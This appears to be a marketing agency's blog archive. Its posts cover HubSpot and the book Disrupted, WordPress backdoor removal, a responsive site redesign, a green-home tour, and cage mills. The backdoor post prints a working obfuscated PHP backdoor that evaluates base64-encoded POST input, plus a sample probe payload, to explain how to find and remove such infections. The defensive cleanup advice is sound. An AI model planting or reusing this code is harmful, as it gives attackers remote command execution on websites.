Internet Marketing Graphic on Lead ForensicsI enjoyed the chapter on Salesforce, everything about the excess and nothing about the reason the software has such possibilities. Next week I'll be looking over a demo of LEADForensics. A program that mashes up your visitors Internet Provider (IP) address and the people that work at the company. Like Salesforce, this only works well if the company you are trying to sell to has their own IP address. The people that work there come from an open source, voluntary database that is maintained by users. I've used it since it was Jigsaw and is now owned by SalesForce. The possible power of all this is that you will be able to see who is visiting your site and what they are looking at. Normally you can only do this with HubSpot, and the other providers, because the visitor has given you their email address. But the time is coming, because of increased computing power and the cloud, that you will be able to know who is looking at your website without their giving you that information. Call it artificial intelligence or just guessing; it's coming. But I'm not convinced that I'll be persuaded next week because the engineers that are the salespersons for the companies I work for don't have time to chase luke warm artificial intelligence leads. Which brings up another problem inbound marketing has to solve, the buyer persona of one. When you are selling a quarter of a million dollar piece of equipment which includes a lifetime of service and maintenance, AI's not up to it yet. But it's coming!

Oh, and spending way too much on trade shows and conferences is no stranger to industrial sales, just worse! One of our clients told me once, "If the customer wants to go to a whore house, you go to a whore house, if he wants to go to church, you go to church!" But those "Mad Men martini lunch" days are long gone, today industrial equipment firms are very well run and good places to work. They are that way because many times 60 percent of their sales are from parts. You don't fire experience when you need it to stay in business. One firm I've worked for offers parts on machines made in 1946!. There are still very few women in manufacturing, mining and engineering and the trade shows are 95 percent men. The only real benefit in the young is smarts. If you can get along with others, have a high IQ (or just work harder) and are goal oriented, you will easily get a high paying job for life.

The apology that Lyons gives to Spinner, the person that nabbed the Times article (that Dan pissed all over) points out what's wrong with his disrespect for marketing. I'm the one that gets my clients published in the trade journals and my clients appreciate it. They would have gotten coached and would have been demoted if they pulled the stunt Halligan did. I'm past the midpoint of the book and Dan still hasn't explained what it is that makes Hubspot great software. Why I enjoy their educators, my small group coach and my account manager. We're focusing on basic marketing principals and developing content that gets the phone to ring. Instead of making fun of Marketing Mary I wish Lyons would have described her typical day and the understanding her boss has about internet marketing and the realistic goals they work together to accomplish. That's what makes Hubspot great, nowhere to be found in Disrupted.

In the end, Disrupted is about awful office politics and the journey of a 50-something displaced journalist. (I get that because I'm married to someone who has been through a similar career disruption). That happens when a company doesn't have employees that just do the right thing. I've found that if I have to micro-manage anyone, I made the wrong decision to hire them. It's my fault and I have to deal with it. I've struggled since 9/11 with trying to get the rudder back on the ship, but it's the economy that rises all boats. We work on the principal that we will always deliver the best job possible for our clients even if we lose money on the job. At least we'll know how to quote a similar job the next time. That's the base of our marketing pyramid, next is the referrals of the clients we have. The next level is the companies we meet at the major machine tool, chemical and mining conferences. Companies that are in Ohio, Kentucky and Indiana. At the top of the marketing pyramid is our web site. It's always been an educational site that gleams from nearly 40 years of learning best practices from creating attention-getting advertising to working with the technical journal editors and designing literature. We have the number one page on "Literature Design" on Google and Bing. HubSpot helps us focus these resources, add to them and properly promote them. That's what every good company should be doing and HubSpot can help you and your company do it. I'm all in.

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Removal of Back Doors from a Wordpress or other PHP-Driven Site

Wed, Apr 20, 2016 @ 03:09 PM / by Myke Amend posted in Website Design, Internet Design and Development, Web Design Company, Cincinnati Web Design Agency, Internet Development, Cincinnati Advertising Agency, Cincinnati Website Design, web development, Website Design Company, Design Agency, Advertising Agency

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Occasionally, when we are working on a new client's website, whether that is redesign, minor changes to make it responsive/mobile-friendly, repairing a broken site, or moving it over to our hosting, we'll run across a few previously-unknown issues. Actually we've come to expect this.

When people leave their old hosts or developers, there is usually a reason. We've had clients come to us with sites that were patched together to operate in substandard environments, and sites built on CMS that are no-longer supported - patched together over the years to operate in standard environments to the point where there is more patch than there is software.

We also tend to gain clients who want their site hosted someplace where their site is not one in a few hundred, or one in a few hundred-thousand sites hosted. They can't afford for their site or email to go down, and to go a day without notice.

Sometimes we're just liberating a client from a pointlessly expensive or otherwise problematic situation.

This is a story about in many, many site moves of this past year.... all of them interesting in their own way, but I took some extra time out to document this one...

Before the Big Move

Generally, if their site is not working - I'll try to fix their site before migrating it over. I'll at the very least update the software and run a security scan before downloading and exporting. In some cases, however, where the server/host is the problem, the site cannot be worked on in place.

How to be a Bad Web Host: Taking the "Control" out of "Control Panels"

A new client of ours had a website that had suddenly stopped working. When I took a look at the control panel, well... first thing I found was that I did not like the Host's control panel - it was a proprietary mess, laid out horribly, very limited in functionality compared to most, and many of these functions did not work at all. Another thing I found was that the client's files were still there and intact, just that PHP processing had been turned off for the entire site.

Typically, when a host just turns functionality off for a site, it is a pretty-good sign that the site has been hacked, or is otherwise misbehaving. Hosts will switch off/disable infected sites or sites that are causing issues with the server, but... one would hope that if they switched it off, they would have noted why. In this case they didn't email the customer to tell them that they disabled this site, one the host was still billing for. I suppose making notes was also just too much work, because they apparently had no idea why it was turned off, and non-ceremoniously turned it back on.

By the time they managed this, I had already downloaded the site, and exported the database, but it was good to have the site working again while we went through the process of transferring the domain. When I ran into some problems with the domain administration in their control panel not working, I read up about the host. From there I knew was going to be a very and slow painful process... which it was. I think the former host's only strategy for keeping customers is to make it very hard, near-impossible for customers to get away.

WITH ICANN, YOU CANN

Having mentioned my willingness to go through ICANN to make the switch happen, suddenly we had cooperation and the domain was unlocked. I still had to wait another 7 days for the former host to not contest the final transfer, because of course they were not going to use their energy to approve it - but that gave me a little time to set the site up in its future home.

By then, I had already created a new database, imported the tables, set up database users, set their permissions, pre-configured the domain pointing, and uploaded their site so that everything could be perfectly in place when the domain switched hands.

Watch Where You Put that WebSite - You Don't Know Where it's Been!

Since the hosted site was not working on the server when I downloaded the site and exported the database, and I hadn't the chance to upgrade the software or run a security scan, I decided it might be good to look through some of the files before the site went live. Looking for possible backdoors is pretty important at this stage, because we definitely don't want to bring those over to our server.

When doing this, hunting for back doors in-particular, one would think the easiest solution is to look for the most common signature: Base64_decode, but as you see below (what I found on the old site) - this is often scrambled like a sunday morning word jumble, strtolower is used to select characters from the jumbled letters in the first string into commands.

PHP Alphabet Soup

How this word jumble works is to use the help of the command 'eval', to make this:

<$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['n764b3b'])) {eval($s21(${$s20}['n764b3b']));}?>

become this:

if(isset($_POST['n764b3b'])){eval(base64_decode($_POST['n764b3b']));

With this in place, a bot or hacker, can send parameters through HTTP POST such as: n764b3b='ZWNobyAnMW9rMScuIlxuIjtleGl0Ow==', which becomes: base64_decode('ZWNobyAnMW9rMScuIlxuIjtleGl0Ow=='), which becomes: 'echo '1ok1'."\n";exit;'

Now whoever has sent this command knows their exploit is in place, because instead of the page they are 'visiting' is a blank page that just says "1ok1".

This allows them, and others know that they can send pretty much any command they please through your site. This can include writing new files, using your mail server, any number of things, but any number of these typically ends up in damaging your domain's search reputation or your domain's email reputation. In most cases I've found SEO Spam (mostly Pharma Hacks), Malicious Redirects, but in some cases I have found Malware Delivery Systems, Attack Site or Referrer Spam automations, Phishing Pages, and Email forms to send Spam by. Wordfence covers that list very well here.

Searching... Seek and Destroy!

When searching for more instances of this infection, you could do a search for the whole PHP script - but you'll likely only find the one infected page that way, the one you are already viewing. There could be hundreds of infected files in root folders, upload folders, theme/template folders and many other places.

In some cases, the original word-scramble string changes order and often name and the order in the strtolower command changes accordingly, and there could be twenty to a hundred parameter names for the the hacker to use on your site. In others, the variable names change, or there are multiple parameters that can be passed to the site (a different script for each one).

There are ways through SSH to use commands such as 'grep' to seek and replace this section of code out with wildcards. It can be handy in a pinch, if your host allows you this level of access, and if you formulate your command very well. Otherwise: in one shot you could accidentally remove many important lines of code from many important files across your domain; You could also end up leaving snippets of code in place that also end up breaking the site. The linked example is a how-to on fixing an infected Drupal site, but the same technique could be used for just about any CMS. Of course if you have a Wordpress site that is up and running, and can install Wordfence, that is one of the quickest ways to find and remove these infected files.

One downside to working on the site in place on the server, is that backdoors could be exploited while you are fixing the site. Missing just one could put you right back in the same place again weeks, days, minutes later. If you are using Wordfence - just do a new scan after you fix the infected files and you should be fine. If you are seeking out the files and changing them by hand, you should download the site and edit files locally. You can upload the fixed website in place of the infected one when done and know that no new files were infected while you were working.

When doing this, I tend to start by searching for 'eval' - it'll bring up a number of false positives, because eval is fairly-commonly used, but it will also bring up all the infected files for this type of infection. Once you've found all these files, then look through those files and look for commonalities in the infection other than 'eval'.

A Common Thread... or Rather String...

In this case, I found that all of the infected files did use two common string names: $s20, and $s21. Both are present in all instances, so I only needed to look for $s21 from here, and this filters out all of the false positives.

Finding Malicious Scripts in a Hacked Website with Dreamweaver, similar Web Design / Web Development tools

Above: Searching an entire folder with the "Find All" command (do not do "Replace All"). This will open all files infected. You don't need an expensive WYSIWYG, but it is nice to have this one. Any open-source text editor with a Find/Replace function should do. If you are looking for an open-source WYSIWYG, such as Brackets, that should also do.

I found around 40 files that were infected, so I just opened them all and cut this line of code out by hand. If there were more of these, say hundreds (which I have found before) - I'd have put the site into a test/quarantine server, and used SSH to search and replace.

Of course when sites are in Wordpress, there are a lot of shortcuts you can take when fixing by hand, which come down mostly to where the infections reside:

  • If the infected files are mostly in "uploads", one can delete all the php files found in that folder and subfolder, and put a blank "index.php" file back into each folder. There is no reason php files should be in this place. Searching this folder on your mac or pc means just being able to highlight all the found php files and delete them.
  • If they are mostly in the wordpress install itself: Delete the admin and includes folder and upload new. Upload new versions of the files in the root folder. Delete any files in the root folder that do not belong (php files that were not replaced by the new wordpress files, excluding config.php). Check config.php for malicious code.

    In the above: You've just saved yourself from searching the root, admin, and includes folder. This should leave only the wp-content folder, for which you've already taken care of the uploads. The upgrades folder should be empty, so only the themes folder remains.
  • Delete Themes. I tend to delete every theme I am not actively using. This means less themes to search for infections now, less themes in the future to keep updated, less themes to provide vulnerabilities to new/unknown exploits.

With those steps, you've saved yourself a lot of time searching through folders and files...  but, if your Wordpress site is hosted, and running, just install Wordfence and run the scan. You'll save a lot of time now, and later.

Wrapping Things Up

If there were backdoors found on your site, there is a chance that the site could have been used for more than just running commands through. You've stopped them from getting in this way, but there can still be email forms and phishing pages, other remnants of the infection you'll want to find and get rid of.

Don't expect the created or last-modified dates on these files to be accurate - these can faked.

Your best bet is always being very familiar with whatever CMS you prefer to use - familiar enough to know how to wipe most files clean, replace them with new, and spot files that are out of place.

I choose to use Wordpress in most cases because of my familiarity with it. I install, design, and manage a lot of Wordpress sites - and have been doing this since its earliest versions.

In other cases, I often recommend managed CMS solutions where such security headaches are for the providers of the service (we build a lot of Wordpress sites, but we use Hubspot for ours, and offer development and maintenance of Hubspot sites, as well as managing Inbound Marketing campaigns). There are by the month fees for these, but in many cases these can come with incredibly handy Marketing tools for the money, and save you the cost in time or money that occurs when your site is hacked.

Consider how You Might have been Hacked and Prevent It

Oftentimes, this could be as simple as having installed a plugin or a patch. Here are some tips to avoid that:

  • Download plugins only from respected sites that monitor for malware plugins.
  • Try to find plugins that have thousands of active users and are regularly updated.
  • Don't add a patch you've found on the web unless you are sure of what it does and why, or at least make sure the site you found that patch on regularly monitors for people posting malicious code as fixes.
  • Tighten up security: Add a security suite if one is available for your CMS. Make sure your .htaccess is solid against browsing of folders and that it blocks forbidden files.
  • Make sure your own code sanitizes strings/escapes special characters from input and from HTTP POST requests.
  • Make sure your CMS and plugins are kept up to date.
  • Check on your site regularly for anything out of place.
  • Search Google with Site:yoursite.com to see if there are phishing or pharma pages on your site.
  • Consider any new problem that did not occur with updates or changes to be a possible hack.
  • Connect Google Search Console/Webmaster Tools to your site as a means to monitor for infections or other problems.
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Mobile-Friendly Website Design with an Image-Based Menu

Mon, Jan 25, 2016 @ 09:16 AM / by Myke Amend posted in Internet Marketing, Process Equipment Marketing, Website Design, B2B Advertising, Internet Design and Development, Graphic Design, Cincinnati Web Design Agency, Cincinnati Advertising, Internet Development, Advertising Design, Cincinnati Advertising Agency, Advertisement Design, Cincinnati Website Design, Advertising Agency, Web Design

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When Lohre and Associates began this project, Roto-Disc, Inc. had a standard HTML web site that they liked, as much as we did, for a number of good reasons:

  • It was built to reflect the look and feel of Roto-Disc's product catalog about as closely as could be done with a website. It matched Roto-Disc's catalogue so very well that the site itself felt like well-designed and well-planned literature.
  • Pages were designed, not as a whole in cookie-cutter fashion, but for their purpose. Much like a printed brochure, everything was cohesively-branded as one well-collected work - yet each individual page was custom-tailored to best-present the products and services on that page.
  • The existing outline was near-perfect. Divisions between pages and topics were pretty spot-on, easy to navigate and easy to follow.

Web Design for Rotodisc CincinnatiAbove: The standard HTML site that was.

It was however, as sites made years ago tend to be: static in size and format, with no mobile menus or even alternate mobile version, and no CMS or other way to dynamically-generate new content - all of which we know to be a problem today for these reasons:

  • Google now gives better indexing for mobile-friendly sites, and penalizes sites that do not have mobile-friendly design or versions.
  • Engineers and other decision-makers in the Process Industry cannot easily view these sites while they are out in the field, which is about the time that needs for new equipment tend to arise or happen to be revealed.
  • Sites not viewed by mobile users do not get shared by mobile users, who make up for an increasingly-large percentage of internet viewers.
  • Sites that are blogs, WIKIS, or otherwise CMS-driven, have a sizable SEO advantage over most sites that are not. Growing content and fostering inbound links are incredibly-important to SEO. Blogs also enable a company to position itself as an industry leader, and give them the tools to build and maintain better customer relationships.

Another need to consider was that Roto-Disc's Product line would soon be expanding. In addition to the Heavy-Duty Spherical Valves, Lighter-Weight Spherical Valves, Sanitary Spherical valves, Inflatable Seal Spherical Valves, Heavy-Duty Clean Flow Diverters, and Airlock/Double-Dump Valves Roto-Disc already had a new section for Flange Adaptors, Wedge Inserts, and Stub Adaptors that needed to fit into the current image-based menu. Soon Roto-Disc would need to also add Process Transitions, and Splitters/Convergers, as well as the Flange Adaptors to this small swatch of internet real-estate.

From This We Created A Short List of Initial Project Goals:

  • Emulate the general look and feel of Roto-Disc's catalog, which we had recently updated for the new product line.
  • Preserve the image-based menu and allow for more menu items to be added.
  • Make their site completely responsive and mobile-friendly.
  • Make navigating and reading the site easy for *all* sizes: large screens, smartphones, *and* tablets.
  • Build it as a CMS (Wordpress in this case) for blogging, scaleable SEO, Inbound Marketing, and ease of content editing.
  • Include the best SEO plugins available so that the SEO approach can be updated for new search rules and algorithms.

Which Enabled Us to Build This List of Challenges:

  • The new catalog was rich with very in-depth charts for most every product. Some of these would require tables with at least 15 columns. Large tables are very difficult to display on mobile devices and harder still to display in a size and format that is easy to read and does not require scrolling or turning the device to horizontal view.
  • We wanted the image-based menu to look good on desktop systems, and did not want to lose it to a simple mobile menu at tablet and mobile sizes.
  • The image-based menu would require dropdowns so that viewers would have direct access to the spefic product information they were looking for.
  • We needed dropdown menus to work for desktop, laptop, tablet, and smartphones. Since touch devices do not have a hover state for links, we needed to make the menu expand and contract when clicked, not moused over. This was a major consideration when it came to tablet users, because the image would present somewhat like the desktop version, but with no mouseover capabilities.
  • We wanted to preserve the image menus even in the mobile version if possible.
  • Having "sticky" always-on-top navigation is always nice when it comes to desktops and laptops - We wanted to find a way to do this for both the header and standard navigation, as well as the image navigation. We wanted to do this without these items completely consuming the available viewport. We also wanted the sticky image menu to not be sticky on tablets because of limited space.
  • For tablet users who would lose this sticky navigation, we needed alternatives, such as an easy way to return to the navigation and/or adding navigation also to the footer of the pages.

Our Solutions:

Web Design /Website Design for RotoDisc Cincinnati

Wide-open: The site design is based on the Brochure, but made for web, driven by Wordpress, with an image menu plugin for ease of editing the image-based menu.

Web Design / Website Design for Rotodisc Cincinnati

An Additional Consideration: For Desktop users, the image links display an instruction when moused over, letting them know that clicking will open and close the submenu (though the submenu will go also away on its own when no longer in focus).

Mobile-friendly Web Design / Website Design for Rotodisc Cincinnati

The benefits of using a plugin and not hard-coding this aspect: All of the above menu and Submenu items can be added, removed, or edited through the control panel.

Mobile-friendly Web Design / Website Design for Rotodisc, Cincinnati

Two Sticky Menus in motion: The Image menu slides up onto the header when the page is scrolled, and stays - leaving the most important items of both sets of navigation always at the top of the screen for easy access.

Mobile version of Web Design / Website Design for Rotodisc Cincinnati

Not so sticky: On smaller-sized screens not quite small-enough for the mobile menu the image menu items switch size to fall into three rows of three icons. The menu no longer sticks at the top so that content can be seen when scrolling.

Web Design / Website Design Tables for Rotodisc Cincinnati

Large Tables: These charts do not seem like they will fit well on a smaller screen... especially not on mobile, not even in landscape aspect. What can be done?

Mobile width view of Web Design / Website Design for Rotodisc Cincinnati

AHA! Jquery to the rescue: By rotating the table header text 90% and re-scaling those cells accordingly, we have a LOT more space to work with when presenting these tables on mobile devices. No scrolling necessary. Some strategic line-breaking in the product number column and Viola!

Mobile width view 2 of Web Design / Website Design for Rotodisc Cincinnati

The Mobile Menu: It seems as though the image menu has been lost... and that would be sad. ... but we can do better!

Mobile width view of Nav menu for Web Design / Website Design for Rotodisc Cincinnati

Huzzah!: There is that image menu again, not lost afterall.

Mobile menu of Web Design / Website Design for Rotodisc Cincinnati

The "Open/Close" Instructions: They are pointless here, because you cannot mouseover on a tablet or other mobile device, but they won't be seen for this reason. Plus: They are still handy if you like keeping your browser window very small.

Mobile menu view for Web Design / Website Design for Rotodisc Cincinnati

Tricky: Submenus on an image menu in a mobile menu. I can't think of any place I have seen this before - actually *many* aspects of this project were something completely new.

Mobile width view 3 of Web Design / Website Design for Rotodisc Cincinnati

Falling in line: Divs and most tables break apart - images set themselves to fill the viewport, and horizontal content becomes vertical in order to keep images large enough to view, also keeping text from being crammed awkwardly on the smaller screen.

Below: You'll notice the menu does not stick to the top in mobile view. Sticky menus on mobile, especially for sites with many pages, are not a good idea. If the menu extends beyond the viewport, and does not scroll - then the only part of the menu that can be accessed is the part at the top of the screen. This will leave visitors stuck and incredibly frustrated. You can in some cases make another scrollbar just for the navigation, but if it is not seen visitors will think they have arrived at a broken site and move on.

Mobile width view 4 of Web Design / Website Design for Rotodisc Cincinnati

Guide to Web Site Redesign by Cincinnati Website Design Company, Lohre & Associates

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Greenest Condo in Cincinnati Tour, Marketing Green Building

Thu, Oct 29, 2015 @ 09:30 PM / by Chuck Lohre posted in Green Building Marketing, Cincinnati Marketing Agencies, Cincinnati Marketing, Cincinnati Advertising Agency

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Residential Green Building / Green Living Member Circle, OTR Condo, Green Home Tour

November 1 @ 1:00 pm - 3:00 pm

OTR Condo 

Lohre LEED Platinum-17large200x480

November 1, 2015, 1 pm till 3 pm, Over-The-Rhine Condo transformed into LEED Platinum. Meet Architect Martha Schickel Dorff and resident Chuck Lohre who did the LEED renovations and documentation. Features include a renewable energy pellet stove, 91% Energy Star plug loads, 31% water savings and 100% sustainable sites credits. Contact Chuck Lohre to register chuck@lohre.com, 513-260-9025.  Learn more.


There is another USGBC tiny space tour on November 14 in Covington:

Tiny Home 

Shotgun Row Covington, KY

November 14, 2015, 10 am till Noon, Center for Great Neighborhoods’ Shotgun Row, Covington, KY. Bradley Cooper’s Tiny Home Project “Start Small” in OTR ( Learn more. ) will not be ready for a tour in November so we are going to tour the best example of existing of tiny homes in Greater Cincinnati. It is the Covington, KY Center for Great Neighborhoods’ Shotgun Row restoration of five vacant and rundown shotgun houses. Here are some articles on the project, provided by the Center for Great Neighborhood, Program Director Community Development, Rachel Hastings:
“First phase of $600K artist homes project unveiled,” Cincinnati Business Courier, Jan 23, 2014 (photos above from article)
“Westside’s Redevelopment Continues with More Projects by Center for Great Neighborhoods,” River City News, Sep 3, 2014
“Covington Project Wins State Preservation Award,” River City News, May 22, 2015


For 2015 the Southwest Chapter of the U.S. Green Building Council, Green Living Member Circle is producing nine Green Home Tours. Contact Chair Chuck Lohre to join, receive newsletter or register for any of the tours, Chuck@Lohre.com, 513-260-9025. Chapter members get preference for the tours and can bring a friend. Attendance is limited to 20, the address will be provided after you register. There is no charge for the tours just your help in promoting them is asked. Learn more.

The 2015 tours are sponsored by The Sustainable Partnership of Cincinnati, a group of businesses offering sustainable products and services to create sustainable homes and offices. Learn more.

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You're Never One-N-Done with Mining Equipment Marketing

Mon, Oct 26, 2015 @ 10:19 PM / by Chuck Lohre posted in Mining Equipment Marketing, Business to Business Marketing, B2B Marketing, B2B Advertising, Business to Business Advertising, Cincinnati Advertising Agency, marketing agency

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The following article was written and illustrated for our client Stedman Machine Company and published in Pit & Quarry Magazine June 12, 2015, "High Size Reduction Ratios (with Cage Mills).".

High Size Reduction Ratios

By Eric Marcotte, Inside Sales Manager, Stedman Machine Company

Cage Mills have a high ratio of size reduction after a single pass through the cages. Here's why, and how.

Hands down one of the most versatile size reduction machines and one of the hardest working is the cage mill. There are several varieties of cage mills, but their similarities are more numerous than their differences. They all are internally fed impactors that can crush, grind or pulverize many different materials to specified degrees of fineness.

digital illustration of cage mill

History

By 1900, Nathan Stedman had built more than one hundred cage mills designed exclusively to crush coal. Soon other applications were discovered, leading to the increased use of cage mills for crushing such products as chemicals, clay and fertilizer materials. Multiple-row cage mills – two-, four- and six-row -- were commonplace. It was not until the 1930s that the true value of cage mills in the production of agricultural limestone and the crushing and beneficiation of stone and gravel was realized. 

The cage mill was so popular the Stedman Machine Company became part of farming vernacular -- farmers began referring to agricultural limestone as “Stedman Lime” due to the cage mill's unique capability to create the proper material fineness in just one pass through the crusher.

Single-row cage mills were used extensively in the construction of the pioneered Pennsylvania Turnpike, primarily for the beneficiation of aggregates. Beneficiation is an elementary process, but it still is one of the most widely practiced applications of single-row cage mills. Gravel is passed through the mill and the softer, undesirable particles; -- breaking more readily than the harder ones; -- are screened or washed away, leaving a hard, high-quality aggregate.

Versatility
New uses are constantly being discovered for these versatile workhorses, but the nature of cage mills is such that improvements in them tend to be gradual and evolutionary instead of dramatic and revolutionary.

The cage mill can be applied to effectively crush, grind and pulverize a broad array of abrasive and non-abrasive materials, including wet sticky types. The latest technology incorporated in these high-efficiency design mills insures greater crushing capacities, finer grinds and cleaner, safer operation.

Fundamentally, cage mills are crushers capable of reducing or disintegrating many kinds of materials to small pieces. They reduce materials solely by impact and range in size from as small as 18 inches to as much as 72 inches in diameter. However, custom units may range as high as 96 inches in diameter. In general, the larger the mill, the lower the cost of operation when measured against tons of output.

digital illustration of inner cage

Operation
A typical cage mill has only one part that moves - the rotor assembly. The material to be crushed is fed into the center of the rotor, or cage, through an intake hopper. The massive bars of the spinning cage aligned in rows strike the material and smash it into particles. The particles are then thrown against subsequent rows, other particles and the cage housing where they impact against breaker plates.

Every impact - against cage bar, breaker plate or another particle - tends to reduce the original matter further, into more numerous and smaller pieces. By the time the material finally escapes from the cage mill, it has been thoroughly crushed.

The major difference compared to other size reduction methods is the absence of close clearances between the crushing part and the breaker plates, allowing for less maintenance and higher efficiency of the machine. Also, they do not require grate bars as the principal source of impact in the cage mill are the pins of the revolving cages.

Impact crushing, particularly impact crushing that uses the most suitable cage mill available, has a number of advantages over compression crushing. Cage mills produce a more cubical product of consistently high quality and they are capable of a very high ratio reduction. There is no decrease in quality of the product even after long periods of operation. Cage mills represent a lower initial investment than most other types of crushing equipment and maintenance is easy and inexpensive to perform.

 digital illustration of inner cage covering

Application

The wisest and most effective use of cage mills depends on a proper understanding of them, of how they are made and what they will and will not do.

Multi-row mills typically consist of an even number of cages: two, four or six. The cages are arranged concentrically, with each row spinning in the opposite direction from that of the row adjacent to it.

Two motors are required. They are mounted on opposing sides of the mill, where they turn in opposite directions. One, two or three rows may be mounted on each shaft.

A multi-row cage mill utilizes multiple stages of selective impact reduction. The material to be reduced is fed into the center of the innermost cage, where it is struck by the massive spinning pins and distributed 360 degrees around the cage. Centrifugal force and the impact of the pins causes the material, now reduced to smaller pieces, to pass through the cage into the pins of the next row, which is spinning in the opposite direction. The farther away from the center cage the particles travel, the more their impact velocity is increased.

In the process of being thrown from row to row the particles also strike each other. They finally are thrown against tough breaker plates that line the inside of the housing. After many violent strikes against the pins, the breaker plates and each other, the much-reduced particles are caught by the outer housing and allowed to drop through the discharge at the bottom of the housing.

 digital illustration of crushed stoneSize Control

Properly presetting the speed of the cages allows the succeeding rows, moving from the innermost outward, to act principally on the particles that have not yet been reduced to the desired size. Particles that have been crushed sufficiently tend to pass through the subsequent rows without being materially affected. Thus, over crushing or under crushing is effectively controlled by adjusting the speed of the cages.

All cage mills are fed internally -- the material to be crushed is dropped into a hopper, from which it travels by chute into the center of the innermost row. It falls from the chute onto the spinning pins of the cage, which strike the falling pieces of feed and explode them into many smaller pieces. The particles are propelled by centrifugal force from the innermost cage into the pins of the adjacent row, which is spinning in the opposite direction.

Particles that are still too large are struck by the pins of the second row and reduced further. The reduction process continues through any additional rows that may be part of the machine. The impact velocity of the particles increases as the centrifugal force carries them outward from one cage to the next until they finally strike the mill housing and drop toward the large discharge opening at the bottom of the housing.

Controlling the speed at which the cages revolve allows the operator to control the amount of reduction that takes place. That is, if the speed is properly preset and controlled, the material will be reduced to its desired size at some point during its trip through the cage mill and then virtually no further reduction will have to take place.

The selective impact crushing that is a characteristic of cage mills minimizes the amount of oversize and undersize particles to be found in the finished product.

The design of the cages controls the path that the material will flow through the machine. This makes it possible to concentrate the wear on the pins, which are made of very hard alloys to give maximum possible service before they have to be replaced.

 digital illustration of cage mill casing and chute

Click here for a comprehensive overview of Cage Mill principles including application diagrams (from which this article was excerpted).

Stedman Machine Company, 129 Franklin St., Aurora, Indiana 47001, Toll-Free: 800-262-5401 • 812-926-0038 • Fax: 812-926-3482, Email: sales@stedman-machine.comwww.stedman-machine.com

–30– End of Technical Article

Stedman Machine Company offers a full line of cage mill crushers for almost any material or application from wet and sticky to dry and friable.

An H-Series™ cage mill crusher is available for testing at Stedman’s Testing and Toll Processing Facility. And more than 10,000 other size reduction equipment tests are on file to help a process be as efficient as possible. Learn more at http://www.stedman-machine.com/testing-facility.html


Industrial Marketing Creative Guide by Lohre Marketing and Advertising, Cincinnati
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